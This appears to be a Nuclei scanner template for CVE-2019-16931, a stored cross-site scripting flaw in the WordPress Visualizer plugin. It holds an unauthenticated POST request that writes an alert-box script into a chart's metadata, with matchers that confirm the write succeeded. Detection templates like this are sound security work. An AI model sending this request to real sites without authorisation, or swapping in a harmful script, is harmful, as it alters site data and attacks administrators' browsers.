id: CVE-2019-16931

info:
  name: Visualizer < 3.3.1 - Stored Cross-Site Scripting (XSS)
  author: ritikchaddha
  severity: medium
  description: |
    By abusing a lack of access controls on the /wp-json/visualizer/v1/update-chart WP-JSON API endpoint, an attacker can arbitrarily modify meta data of an existing chart, and inject a XSS payload to be stored and later executed when an admin goes to edit the chart.
  reference:
    - https://wpscan.com/vulnerability/867e000d-d2f5-4d53-89b0-41d7d4163f44
    - https://nathandavison.com/blog/wordpress-visualizer-plugin-xss-and-ssrf
    - https://nvd.nist.gov/vuln/detail/CVE-2019-16931
    - https://wpvulndb.com/vulnerabilities/9893
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-16931
    cwe-id: CWE-79
  metadata:
    verified: "true"
  tags: cve,cve2019,wp-plugin,wordpress,wp,xss,unauth

requests:
  - raw:
      - |
        POST /wp-json/visualizer/v1/update-chart HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"id": 7, "visualizer-chart-type": "<script>alert(document.domain)</script>"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"success":"Chart updated"}'

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200